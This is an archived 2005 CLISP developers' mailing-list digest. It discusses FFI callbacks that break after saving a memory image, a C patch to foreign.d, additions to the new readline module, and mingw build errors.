Don't you have any idea of why this happens?

In the first process, you dynamically load and link a library.

When you save the memory image, all files, including that library, are closed.

When you start the second process, this dynamic library is still
closed, so of course, you cannot call function that are stored in it!

The solution should be obvious: use the :init-function argument to
ext:saveinitmem and rerun the dynamic linkings in the new processes.


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Date: Thu Sep 29 14:43:36 2005
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there have been expressed some interest in the past to have a wider
access to the readline features, e.g., saving history into files &c.
you can do that now with the new readline module by putting this into
your ~/.clisp:
==========================================
(readline:read-history "~/.clisp-history")
(push (lambda () (readline:write-history "~/.clisp-history"))
      custom:*fini-hooks*)
==========================================
the module is very small and basic, please feel free to send additions.

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Date: Thu Sep 29 15:24:00 2005
X-Original-Date: Thu, 29 Sep 2005 18:21:38 -0400

> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-09-29 08:14:30 +0200]:
>
> while trying to make more from included readline, I encountered a
> problem that can be shown on this example:
>
> (use-package 'ffi)
> (def-call-out add-defun
>   (:name "rl_add_defun")
>   (:library :default)
>   (:arguments (name c-string :in :malloc-free)
> 	      (callback (c-function (:language :stdc)
> 			 (:arguments (rep int) (char  int)))
> 	       :in :malloc-free)
> 	      (key int))
>   (:language :stdc)
>   (:return-type int))
> (defun init ()
>  (labels ((edit-history (key rep)
>   (print key)
>   (print rep)))
>   (add-defun "edit-history" #'edit-history -1)))
> (init)
> (push #'init *init-hooks*)
> (saveinitmem "foo")
>
> That is, a function with callback to linux is defined and then called.
> Now, this works fine when loaded (compiled or not), but when later
> loaded from image, it makes problem when compiled:
>
> $ clisp -norc  -C problem.lisp
> $ clisp -q -M foo.mem
>
> *** - FFI::FOREIGN-CALL-OUT: #<INVALID FOREIGN-POINTER #x00000000> comes from
>       a previous Lisp session and is invalid
> The following restarts are available:
> SKIP           :R1      skip (SAVEINITMEM foo)
> STOP           :R2      stop loading file /home/tomas/src/misc/problem.lisp
> ABORT          :R3      ABORT
> $ clisp -norc problem.lisp
> $ clisp -q -M foo.mem
> [1]>
>
> When read-history is defined with defun, it makes same problem even
> when not compiled.

a callback is allocated on the heap (with malloc) and it cannot be saved
into an image.
the reason you are not getting the error under some conditions is that
there is no attempt made to re-use the saved callback because the lisp
function corresponding to the callback was not found in the callback
hash table.

PROPOSED SOLUTION:

1. exit_ffi() should release all callbacks and replace them in
   O(foreign_callin_vector) with NIL.
   this is not strictly necessary (you do not have to free all your
   mallocs before exit, but I think this is "good taste").
   Bruno, Joerg, should we do this?

2. when convert_function_to_foreign() finds in invalid (or NIL)
   triple[1], it should just call alloc_callback();
   see the appended patch.
   Tomas, could you please try this patch?
   it appears to fix the bug you reported.

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--- foreign.d	21 Sep 2005 14:10:34 -0400	1.144
+++ foreign.d	29 Sep 2005 18:20:45 -0400	
@@ -442,12 +442,23 @@
         if (equal_fvd(resulttype,Car(acons))
             && equal_argfvds(argtypes,Car(Cdr(acons)))
             && eq(flags,Car(Cdr(Cdr(acons))))) {
-          var gcv_object_t* triple = &TheSvector(TheIarray(O(foreign_callin_vector))->data)->data[3*posfixnum_to_V(Cdr(Cdr(Cdr(acons))))-2];
-          triple[2] = fixnum_inc(triple[2],1); /* increment reference count */
+          var uintV f_index = posfixnum_to_V(Cdr(Cdr(Cdr(acons))));
+          var gcv_object_t* triple = &TheSvector(TheIarray(O(foreign_callin_vector))->data)->data[3*f_index-2];
           var object ffun = triple[1];
           ASSERT(equal_fvd(resulttype,TheFfunction(ffun)->ff_resulttype));
           ASSERT(equal_argfvds(argtypes,TheFfunction(ffun)->ff_argtypes));
           ASSERT(eq(flags,TheFfunction(ffun)->ff_flags));
+          var object faddress = TheFfunction(ffun)->ff_address;
+          if (fp_validp(TheFpointer(TheFaddress(faddress)->fa_base))) {
+            triple[2] = fixnum_inc(triple[2],1); /* increment reference count */
+          } else {     /* callback from the previous session -- renew */
+            /* leave the reference count alone */
+            begin_system_call();
+            TheFaddress(faddress)->fa_offset =
+              (uintP)alloc_callback(&callback,(void*)(uintP)f_index);
+            end_system_call();
+            TheFaddress(faddress)->fa_base = O(fp_zero);
+          }
           return ffun;
         }
       }


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> * Ron Olsson <byffba@pf.hpqnivf.rqh> [2005-09-16 15:10:03 -0700]:
>
> dribble behaves differently between clisp-2.33.2 and clisp-2.35.

<http://www.podval.org/~sds/clisp/impnotes/environment-dict.html#dribble-script>
that said, I think I restored the dribble behavior you wanted
(it still won't work for scripts, but it will for -x)

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Date: Thu Sep 29 23:37:22 2005
X-Original-Date: Fri, 30 Sep 2005 08:36:04 +0200

Thanks, I'll try the patch and report.
Looking at it for another time, I should probably try it again without
calling (init) - my intention was to create the callback at
*init-hooks* time anyway.
I am still a bit confused - I thought the call to init before image
saving would have no effect when loading image, as clisp has no way of
knowing what was saved by another library (readline), and I do not
understand why calling the function to get callback at *init-hooks*
time should produce invalid reference.

As I've said, I'll report about result of patch.
BTW, replacing :default with library name string did not help.

Thanks,

Tomas Zellerin


2005/9/30, Sam Steingold <sds@gnu.org>:
> > * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-09-29 08:14:30 +0200]:
> >
> > while trying to make more from included readline, I encountered a
> > problem that can be shown on this example:
> >
> > (use-package 'ffi)
> > (def-call-out add-defun
> >   (:name "rl_add_defun")
> >   (:library :default)
> >   (:arguments (name c-string :in :malloc-free)
> >             (callback (c-function (:language :stdc)
> >                        (:arguments (rep int) (char  int)))
> >              :in :malloc-free)
> >             (key int))
> >   (:language :stdc)
> >   (:return-type int))
> > (defun init ()
> >  (labels ((edit-history (key rep)
> >   (print key)
> >   (print rep)))
> >   (add-defun "edit-history" #'edit-history -1)))
> > (init)
> > (push #'init *init-hooks*)
> > (saveinitmem "foo")
> >
> > That is, a function with callback to linux is defined and then called.
> > Now, this works fine when loaded (compiled or not), but when later
> > loaded from image, it makes problem when compiled:
> >
> > $ clisp -norc  -C problem.lisp
> > $ clisp -q -M foo.mem
> >
> > *** - FFI::FOREIGN-CALL-OUT: #<INVALID FOREIGN-POINTER #x00000000> come=
s from
> >       a previous Lisp session and is invalid
> > The following restarts are available:
> > SKIP           :R1      skip (SAVEINITMEM foo)
> > STOP           :R2      stop loading file /home/tomas/src/misc/problem.=
lisp
> > ABORT          :R3      ABORT
> > $ clisp -norc problem.lisp
> > $ clisp -q -M foo.mem
> > [1]>
> >
> > When read-history is defined with defun, it makes same problem even
> > when not compiled.
>
> a callback is allocated on the heap (with malloc) and it cannot be saved
> into an image.
> the reason you are not getting the error under some conditions is that
> there is no attempt made to re-use the saved callback because the lisp
> function corresponding to the callback was not found in the callback
> hash table.
>
> PROPOSED SOLUTION:
>
> 1. exit_ffi() should release all callbacks and replace them in
>   O(foreign_callin_vector) with NIL.
>   this is not strictly necessary (you do not have to free all your
>   mallocs before exit, but I think this is "good taste").
>   Bruno, Joerg, should we do this?
>
> 2. when convert_function_to_foreign() finds in invalid (or NIL)
>   triple[1], it should just call alloc_callback();
>   see the appended patch.
>   Tomas, could you please try this patch?
>   it appears to fix the bug you reported.
>
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>
> --- foreign.d   21 Sep 2005 14:10:34 -0400      1.144
> +++ foreign.d   29 Sep 2005 18:20:45 -0400
> @@ -442,12 +442,23 @@
>         if (equal_fvd(resulttype,Car(acons))
>             && equal_argfvds(argtypes,Car(Cdr(acons)))
>             && eq(flags,Car(Cdr(Cdr(acons))))) {
> -          var gcv_object_t* triple =3D &TheSvector(TheIarray(O(foreign_c=
allin_vector))->data)->data[3*posfixnum_to_V(Cdr(Cdr(Cdr(acons))))-2];
> -          triple[2] =3D fixnum_inc(triple[2],1); /* increment reference =
count */
> +          var uintV f_index =3D posfixnum_to_V(Cdr(Cdr(Cdr(acons))));
> +          var gcv_object_t* triple =3D &TheSvector(TheIarray(O(foreign_c=
allin_vector))->data)->data[3*f_index-2];
>           var object ffun =3D triple[1];
>           ASSERT(equal_fvd(resulttype,TheFfunction(ffun)->ff_resulttype))=
;
>           ASSERT(equal_argfvds(argtypes,TheFfunction(ffun)->ff_argtypes))=
;
>           ASSERT(eq(flags,TheFfunction(ffun)->ff_flags));
> +          var object faddress =3D TheFfunction(ffun)->ff_address;
> +          if (fp_validp(TheFpointer(TheFaddress(faddress)->fa_base))) {
> +            triple[2] =3D fixnum_inc(triple[2],1); /* increment referenc=
e count */
> +          } else {     /* callback from the previous session -- renew */
> +            /* leave the reference count alone */
> +            begin_system_call();
> +            TheFaddress(faddress)->fa_offset =3D
> +              (uintP)alloc_callback(&callback,(void*)(uintP)f_index);
> +            end_system_call();
> +            TheFaddress(faddress)->fa_base =3D O(fp_zero);
> +          }
>           return ffun;
>         }
>       }
>


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Hello,

nice, this is rather similar to what I was attempting.

One note from quick look - does your add-defun works to you? I believe
it must be allocated elsewhere (I used malloc), because readline keeps
the string.

Best regards,

Tomas Zellerin

2005/9/29, Sam Steingold <sds@gnu.org>:
> there have been expressed some interest in the past to have a wider
> access to the readline features, e.g., saving history into files &c.
> you can do that now with the new readline module by putting this into
> your ~/.clisp:
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> (readline:read-history "~/.clisp-history")
> (push (lambda () (readline:write-history "~/.clisp-history"))
>      custom:*fini-hooks*)
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> the module is very small and basic, please feel free to send additions.
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Sam Steingold wrote:

> there have been expressed some interest in the past to have a wider
> access to the readline features, e.g., saving history into files &c.
> you can do that now with the new readline module by putting this into
> your ~/.clisp:
> ==========================================
> (readline:read-history "~/.clisp-history")
> (push (lambda () (readline:write-history "~/.clisp-history"))
>       custom:*fini-hooks*)
> ==========================================
> the module is very small and basic, please feel free to send additions.
> 

Why only
   if [ $TOS = unix ] ; then
   ...
With mingw and readline from gnuwin32.sf.net there is build... almost :)

gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
-DDYNAMIC_FFI -I. -x none modules.o readline.o regexi.o regex.o calls.o
-lcrypt -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a
/usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a
libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid
/usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv -o lisp.exe
readline.o(.text+0x27):readline.c: undefined reference to
`_imp__rl_library_version'
readline.o(.text+0x54):readline.c: undefined reference to
`_imp__rl_readline_version'
...

but why there is no -lreadline? With -lreadline is all rights.

Thanks!

-- 
WBR, Yaroslav Kavenchuk.


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X-Original-Date: Fri, 30 Sep 2005 13:53:13 +0200

Correcting myself - it is name parameter that must be allocated elsewhere.

As for the set of function, I am missing these (binding from string/file)

(def-call-out parse-and-bind
  (:name "rl_parse_and_bind")
  (:arguments (line c-string))
  (:return-type int))
(def-call-out read-init-file
  (:name "rl_read_init_file")
  (:arguments (name c-string))
  (:return-type int))

Actually, my definitions are slightly different, as I use a wrapper
macro so that not to type function name twice:

(eval-when (:compile-toplevel :load-toplevel)
(defun symbol-to-c-name (symbol &optional (prefix ""))
  "Translate common lisp name to c name, optionally prepending a prefix"
  (concatenate 'string prefix
=09       (substitute #\_ #\-
=09=09=09  (string-downcase
=09=09=09     (symbol-name symbol))))))
(defmacro def-rl-call-out (name &rest body)
  "Simplifies definition of foreign functions in readline package by
  translating name and providing :library argument to
  def-call-out."
  `(def-call-out ,name
=09      (:name , (symbol-to-c-name name "rl_"))
=09      (:library ,+readline-library+)
=09      ,@body))


2005/9/30, Tomas Zellerin <zellerin@gmail.com>:
> Hello,
>
> nice, this is rather similar to what I was attempting.
>
> One note from quick look - does your add-defun works to you? I believe
> it must be allocated elsewhere (I used malloc), because readline keeps
> the string.
>
> Best regards,
>
> Tomas Zellerin
>
> 2005/9/29, Sam Steingold <sds@gnu.org>:
> > there have been expressed some interest in the past to have a wider
> > access to the readline features, e.g., saving history into files &c.
> > you can do that now with the new readline module by putting this into
> > your ~/.clisp:
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> > (readline:read-history "~/.clisp-history")
> > (push (lambda () (readline:write-history "~/.clisp-history"))
> >      custom:*fini-hooks*)
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Ok, another win32 compilation error:
Again mingw, WinXP.
./configure --with-mingw --with-module=3Drawsock --build build-mingw

I'm attaching rawsock.c from my build-mingw/rawsock folder
Hre's the error message:

configure: * RAWSOCK (Done)
CLISP=3D"`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8
-Eterminal UTF-8 -norc" ; cd rawsock ; dots=3D`echo raws
ock/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module
CC=3D"gcc -mno-cygwin" CPPFLAGS=3D"-I/usr/local/inclu
de" CFLAGS=3D"-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
-DDYNAMIC_FFI -DNO_GETTEXT -I." INCLUDES=3D"$dots" CLFLA
GS=3D"-x none" LIBS=3D"libcharset.a libavcall.a libcallback.a  -luser32
-lws2_32 -lole32 -loleaut32 -luuid  -L/usr/local/lib
 -lsigsegv" RANLIB=3D"ranlib" CLISP=3D"$CLISP -q"
make[1]: Entering directory
`/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/rawsock'
/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/lisp.exe -M
/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/lispin
it.mem -B /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw -Efile
UTF-8 -Eterminal UTF-8 -norc -q -c sock.lisp
;; Compiling file
C:\dev\cvstree\sourceforge\clisp\clisp\build-mingw\rawsock\sock.lisp
...
;; Wrote file C:\dev\cvstree\sourceforge\clisp\clisp\build-mingw\rawsock\so=
ck.fas
The following functions were used but not defined:
 RAWSOCK:SOCKET RAWSOCK:MAKE-SOCKADDR RAWSOCK:CONNECT RAWSOCK:SOCK-CLOSE
0 errors, 0 warnings
/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/lisp.exe -M
/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/lispin
it.mem -B /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw -Efile
UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas rawso
ck.c
;; MODPREP: "rawsock.c" --> #P"rawsock.m.c"
;; MODPREP: reading "rawsock.c": 33,180 bytes, 1,805 lines
*** - "rawsock.c":572: no closing paren in
"DEFCHECKER(check_socket_domain,prefix=3DAF,default=3DAF_UNSPEC,
 "
     [0;NIL]
make[1]: *** [rawsock.m.c] Error 1
make[1]: Leaving directory
`/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/rawsock'
make: *** [rawsock] Error 2


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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-09-30 13:53:13 +0200]:
>
> Correcting myself - it is name parameter that must be allocated elsewhere.

does my module work for you?

> As for the set of function, I am missing these (binding from string/file)
>
> (def-call-out parse-and-bind
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>   (:return-type int))
> (def-call-out read-init-file
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>   (:arguments (name c-string))
>   (:return-type int))

please send a patch placing all the functions you want in the right
order in the right section.

> Actually, my definitions are slightly different, as I use a wrapper
> macro so that not to type function name twice:

and how do you convert from "history_is_stifled" to "history-stifled-p"? :-)

> 	      (:library ,+readline-library+)

not needed in the module.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-09-30 13:06:17 +0300]:
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> Sam Steingold wrote:
>
>> there have been expressed some interest in the past to have a wider
>> access to the readline features, e.g., saving history into files &c.
>> you can do that now with the new readline module by putting this into
>> your ~/.clisp:
>> ==========================================
>> (readline:read-history "~/.clisp-history")
>> (push (lambda () (readline:write-history "~/.clisp-history"))
>>       custom:*fini-hooks*)
>> ==========================================
>> the module is very small and basic, please feel free to send additions.
>> 
>
> Why only
>    if [ $TOS = unix ] ; then
>    ...
> With mingw and readline from gnuwin32.sf.net there is build... almost :)
>
> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
> -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
> -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
> -DDYNAMIC_FFI -I. -x none modules.o readline.o regexi.o regex.o calls.o
> -lcrypt -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a
> /usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a
> libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid
> /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv -o lisp.exe
> readline.o(.text+0x27):readline.c: undefined reference to
> `_imp__rl_library_version'
> readline.o(.text+0x54):readline.c: undefined reference to
> `_imp__rl_readline_version'
> ...
>
> but why there is no -lreadline? With -lreadline is all rights.

I do not use gnuwin32.sf.net, so I cannot debug this.
1. did you pass "--with-readline" to top-level ./configure?
2. was readline detected by ./configure?
3. was "--with-readline" given to makemake?
4. what was substituted for LIBS in makemake?

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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-09-30 08:36:04 +0200]:
>
> I am still a bit confused - I thought the call to init before image
> saving would have no effect when loading image, as clisp has no way of
> knowing what was saved by another library (readline), and I do not
> understand why calling the function to get callback at *init-hooks*
> time should produce invalid reference.

the list of callbacks you create is kept in the lisp heap, so it is
saved into the image and restored from it.
alas, the restored list points to invalid C callback memory area.

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> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-09-30 15:29:25 +0200]:
>
> ;; MODPREP: "rawsock.c" --> #P"rawsock.m.c"
> ;; MODPREP: reading "rawsock.c": 33,180 bytes, 1,805 lines
> *** - "rawsock.c":572: no closing paren in
> "DEFCHECKER(check_socket_domain,prefix=AF,default=AF_UNSPEC,
>  "
>      [0;NIL]

please make sure that your sources are not corrupt.
specifically, the like above should terminate with a backslash.


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   From: Sam Steingold <sds@gnu.org>
   Date: Thu, 29 Sep 2005 18:27:39 -0400

   > * Ron Olsson <byffba@pf.hpqnivf.rqh> [2005-09-16 15:10:03 -0700]:
   >
   > dribble behaves differently between clisp-2.33.2 and clisp-2.35.

   <http://www.podval.org/~sds/clisp/impnotes/environment-dict.html#dribble-script>
   that said, I think I restored the dribble behavior you wanted
   (it still won't work for scripts, but it will for -x)

Great!  I'll look for that in the next release.

Thanks.


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2005/9/30, Sam Steingold <sds@gnu.org>:
> > * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-09-30 13:53:13 +0200]:
> >
> > Correcting myself - it is name parameter that must be allocated elsewhe=
re.
>
> does my module work for you?

Mostly, but not here. Try add-defun something, and then either list
all known functions, or try to get the function using named-function.
The former case is probably more instructive, as you can see that
there is new function with name containing strange characters - new
content of given place on stack, I guess.

Also, setf-ing readline-name causes crash for me. No idea why and how
to prevent it - I had same problem. As read-only variable, it is
pretty useless. "It would be nice" if it was set to clisp somewhere by
default.

> > As for the set of function, I am missing these (binding from string/fil=
e)
> >
> > (def-call-out parse-and-bind
> >   (:name "rl_parse_and_bind")
> >   (:arguments (line c-string))
> >   (:return-type int))
> > (def-call-out read-init-file
> >   (:name "rl_read_init_file")
> >   (:arguments (name c-string))
> >   (:return-type int))
>
> please send a patch placing all the functions you want in the right
> order in the right section.
See attached below. Hope it would work, I have access to internet only
through Windows atm.

I included functions and variables I actually used, so it should work.
It is still by no means complete set. I tried to make work key
bindings and doing some work on background while waiting in repl, the
choice of functions reflects this.

Change to add-defun is not included. Also, according to info readline
(which I used as the base), redisplay has return-type void.

>
> > Actually, my definitions are slightly different, as I use a wrapper
> > macro so that not to type function name twice:
>
> and how do you convert from "history_is_stifled" to "history-stifled-p"? =
:-)
>
Good point. I did not define the function :)

> >             (:library ,+readline-library+)
>
> not needed in the module.
I tried to make it work on Windows, this is probably leftover of it.

>
> PS. please fix your mailer to respect "Mail-Copies-To" and "Reply-to".
Ill try. Is it better?

Tomas

diff -ur /mnt/readline/readline.lisp ../modules/readline/readline.lisp
--- /mnt/readline/readline.lisp  2005-09-30 16:12:10.000000000 +0200
+++ ../modules/readline/readline.lisp  2005-10-01 07:24:15.000000000 +0200
@@ -26,6 +26,8 @@
 (c-lines "#include <readline/readline.h>~%")

 (def-c-type readline-command (c-function (:arguments (rep int) (char int))=
))
+(def-c-type readline-hook-function (c-function (:return-type int)))
+(def-c-type readline-vcpfunc (c-function (:arguments (text c-string))))

 (def-call-out readline (:name "readline")
   (:arguments (prompt c-string))
@@ -56,6 +60,19 @@
   (:arguments (variable c-string) (value c-string))
   (:return-type int))

+(def-call-out bind-keyseq (:name "rl_bind_keyseq")
+  (:arguments (keyseq c-string)
+              (callback readline-command))
+  (:return-type int))
+
+(def-call-out parse-and-bind (:name "rl_parse_and_bind")
+  (:arguments (line c-string))
+  (:return-type int))
+
+(def-call-out read-init-file (:name "rl_read_init_file")
+  (:arguments (name c-string))
+  (:return-type int))
+
 ;;; Associating Function Names and Bindings

 (def-call-out named-function (:name "rl_named_function")
@@ -67,6 +84,30 @@
 (def-call-out redisplay (:name "rl_redisplay")
   (:arguments) (:return-type int))

+(def-call-out forced-update-display (:name "rl_forced_update_display")
+  (:return-type int))
+(def-call-out on-new-line (:name "rl_on_new_line")
+  (:return-type int))
+
+;;; Modifying text
+(def-call-out insert-text (:name "rl_insert_text")
+  (:arguments (text c-string))
+  (:return-type int))
+
+;;; Character input
+
+(def-call-out set-keyboard-input-timeout (:name
"rl_set_keyboard_input_timeout")
+  (:arguments (microseconds int))
+  (:return-type int)) ; returns old value
+
+;;; Alternate interface
+(def-call-out callback-handler-install (:name "rl_callback_handler_install=
")
+  (:arguments (prompt c-string) (lhandler readline-vcpfunc)))
+(def-call-out callback-read-char (:name "rl_callback_read_char"))
+(def-call-out callback-handler-remove (:name "rl_callback_handler_remove")=
)
+
+
+
 ;;; variables

 (def-c-var library-version (:name "rl_library_version") (:type c-string))
@@ -75,6 +116,10 @@
 (def-c-var insert-mode (:name "rl_insert_mode") (:type int))
 (def-c-var readline-name (:name "rl_readline_name") (:type c-string)) ;"CL=
ISP"

+(def-c-var startup-hook (:name "rl_startup_hook") (:type
readline-hook-function))
+(def-c-var pre-input-hook (:name "rl_pre_input_hook") (:type
readline-hook-function))
+(def-c-var event-hook (:name "rl_event_hook") (:type readline-hook-functio=
n))
+
 ;;; ------ history ------

 (c-lines "#include <readline/history.h>~%")


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2005/9/30, Sam Steingold <sds@gnu.org>:
> > * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-09-29 08:14:30 +0200]:
> >
> > while trying to make more from included readline, I encountered a
> > problem that can be shown on this example:
> >
> > (use-package 'ffi)
> > (def-call-out add-defun
> >   (:name "rl_add_defun")
> >   (:library :default)
> >   (:arguments (name c-string :in :malloc-free)
> >             (callback (c-function (:language :stdc)
> >                        (:arguments (rep int) (char  int)))
> >              :in :malloc-free)
> >             (key int))
> >   (:language :stdc)
> >   (:return-type int))
> > (defun init ()
> >  (labels ((edit-history (key rep)
> >   (print key)
> >   (print rep)))
> >   (add-defun "edit-history" #'edit-history -1)))
> > (init)
> > (push #'init *init-hooks*)
> > (saveinitmem "foo")
> >
> > That is, a function with callback to linux is defined and then called.
> > Now, this works fine when loaded (compiled or not), but when later
> > loaded from image, it makes problem when compiled:
> >
> > $ clisp -norc  -C problem.lisp
> > $ clisp -q -M foo.mem
> >
> > *** - FFI::FOREIGN-CALL-OUT: #<INVALID FOREIGN-POINTER #x00000000> come=
s from
> >       a previous Lisp session and is invalid
> > The following restarts are available:
> > SKIP           :R1      skip (SAVEINITMEM foo)
> > STOP           :R2      stop loading file /home/tomas/src/misc/problem.=
lisp
> > ABORT          :R3      ABORT
> > $ clisp -norc problem.lisp
> > $ clisp -q -M foo.mem
> > [1]>
> >
> > When read-history is defined with defun, it makes same problem even
> > when not compiled.
>
> a callback is allocated on the heap (with malloc) and it cannot be saved
> into an image.
> the reason you are not getting the error under some conditions is that
> there is no attempt made to re-use the saved callback because the lisp
> function corresponding to the callback was not found in the callback
> hash table.
>
> PROPOSED SOLUTION:
>
> 1. exit_ffi() should release all callbacks and replace them in
>   O(foreign_callin_vector) with NIL.
>   this is not strictly necessary (you do not have to free all your
>   mallocs before exit, but I think this is "good taste").
>   Bruno, Joerg, should we do this?
>
> 2. when convert_function_to_foreign() finds in invalid (or NIL)
>   triple[1], it should just call alloc_callback();
>   see the appended patch.
>   Tomas, could you please try this patch?
>   it appears to fix the bug you reported.

The patch worked and helped - thanks.

Tomas


>
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>
> --- foreign.d   21 Sep 2005 14:10:34 -0400      1.144
> +++ foreign.d   29 Sep 2005 18:20:45 -0400
> @@ -442,12 +442,23 @@
>         if (equal_fvd(resulttype,Car(acons))
>             && equal_argfvds(argtypes,Car(Cdr(acons)))
>             && eq(flags,Car(Cdr(Cdr(acons))))) {
> -          var gcv_object_t* triple =3D &TheSvector(TheIarray(O(foreign_c=
allin_vector))->data)->data[3*posfixnum_to_V(Cdr(Cdr(Cdr(acons))))-2];
> -          triple[2] =3D fixnum_inc(triple[2],1); /* increment reference =
count */
> +          var uintV f_index =3D posfixnum_to_V(Cdr(Cdr(Cdr(acons))));
> +          var gcv_object_t* triple =3D &TheSvector(TheIarray(O(foreign_c=
allin_vector))->data)->data[3*f_index-2];
>           var object ffun =3D triple[1];
>           ASSERT(equal_fvd(resulttype,TheFfunction(ffun)->ff_resulttype))=
;
>           ASSERT(equal_argfvds(argtypes,TheFfunction(ffun)->ff_argtypes))=
;
>           ASSERT(eq(flags,TheFfunction(ffun)->ff_flags));
> +          var object faddress =3D TheFfunction(ffun)->ff_address;
> +          if (fp_validp(TheFpointer(TheFaddress(faddress)->fa_base))) {
> +            triple[2] =3D fixnum_inc(triple[2],1); /* increment referenc=
e count */
> +          } else {     /* callback from the previous session -- renew */
> +            /* leave the reference count alone */
> +            begin_system_call();
> +            TheFaddress(faddress)->fa_offset =3D
> +              (uintP)alloc_callback(&callback,(void*)(uintP)f_index);
> +            end_system_call();
> +            TheFaddress(faddress)->fa_base =3D O(fp_zero);
> +          }
>           return ffun;
>         }
>       }
>


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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-10-01 08:59:24 +0200]:
>
> 2005/9/30, Sam Steingold <sds@gnu.org>:
>> > * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-09-30 13:53:13 +0200]:
>> >
>> > Correcting myself - it is name parameter that must be allocated elsewhere.
>>
>> does my module work for you?
>
> Mostly, but not here. Try add-defun something, and then either list
> all known functions, or try to get the function using named-function.

how do I list all known functions?

> The former case is probably more instructive, as you can see that
> there is new function with name containing strange characters - new
> content of given place on stack, I guess.

I guess :alloc :malloc-free is needed.

> Also, setf-ing readline-name causes crash for me. No idea why and how
> to prevent it - I had same problem.

same: :alloc :malloc-free.

> As read-only variable, it is pretty useless. "It would be nice" if it
> was set to clisp somewhere by default.

it was before...

> I included functions and variables I actually used, so it should work.
> It is still by no means complete set. I tried to make work key
> bindings and doing some work on background while waiting in repl, the
> choice of functions reflects this.

well, if we are at it, why not do everything?

> Change to add-defun is not included. Also, according to info readline
> (which I used as the base), redisplay has return-type void.
indeed. thanks.

>> PS. please fix your mailer to respect "Mail-Copies-To" and "Reply-to".
> Ill try. Is it better?

yes, thanks.


Alas, the patch was corrupt (lines wrapped &c)
the best way would be to open a "patch" tracker issue on SF.
thanks.

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> >>
> >> does my module work for you?
> >
> > Mostly, but not here. Try add-defun something, and then either list
> > all known functions, or try to get the function using named-function.
>
> how do I list all known functions?
I do it by binding dump-functions to a key in inputrc and pressing the key.
"\ea": dump-functions

>
> > The former case is probably more instructive, as you can see that
> > there is new function with name containing strange characters - new
> > content of given place on stack, I guess.
>
> I guess :alloc :malloc-free is needed.
>
Yes, I did it that way and it worked. You will get a leak every time
you change binding to same string, but why someone should do it?

> > Also, setf-ing readline-name causes crash for me. No idea why and how
> > to prevent it - I had same problem.
>
> same: :alloc :malloc-free.
>
I should have guessed it.

> > As read-only variable, it is pretty useless. "It would be nice" if it
> > was set to clisp somewhere by default.
>
> it was before...
>
> > I included functions and variables I actually used, so it should work.
> > It is still by no means complete set. I tried to make work key
> > bindings and doing some work on background while waiting in repl, the
> > choice of functions reflects this.
>
> well, if we are at it, why not do everything?
There are reasons I see not to include everything :
- unused functions will not be tested and could cause crashes
- unused functions are not needed (there is lot of duplication through
the interface)
- someone would have to write it, and I dont understand what some
functions do, in particular how completion works.
Of course, all can be disagreed (you wont get testing unless you include it=
).

A style question - why are defined variables not starred?

> Alas, the patch was corrupt (lines wrapped &c)
> the best way would be to open a "patch" tracker issue on SF.
> thanks.
It is there.

Regards,

Tomas


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Sam Steingold wrote:

> I do not use gnuwin32.sf.net, so I cannot debug this.
> 1. did you pass "--with-readline" to top-level ./configure?

Yes:

./configure --with-mingw --with-readline \
            --with-module=dirkey --with-module=pcre \
            --with-module=postgresql --with-module=rawsock \
            --with-module=wildcard --with-module=zlib \
            --with-module=bindings/win32 \
            --with-libpcre-prefix=/usr/local \
            --with-libreadline-prefix=/usr/local \
            --with-libpq-prefix=c:/PostgreSQL/8.0 \
            --build build-full


> 2. was readline detected by ./configure?

...
Configure findings:
  FFI:        yes (user requested: default)
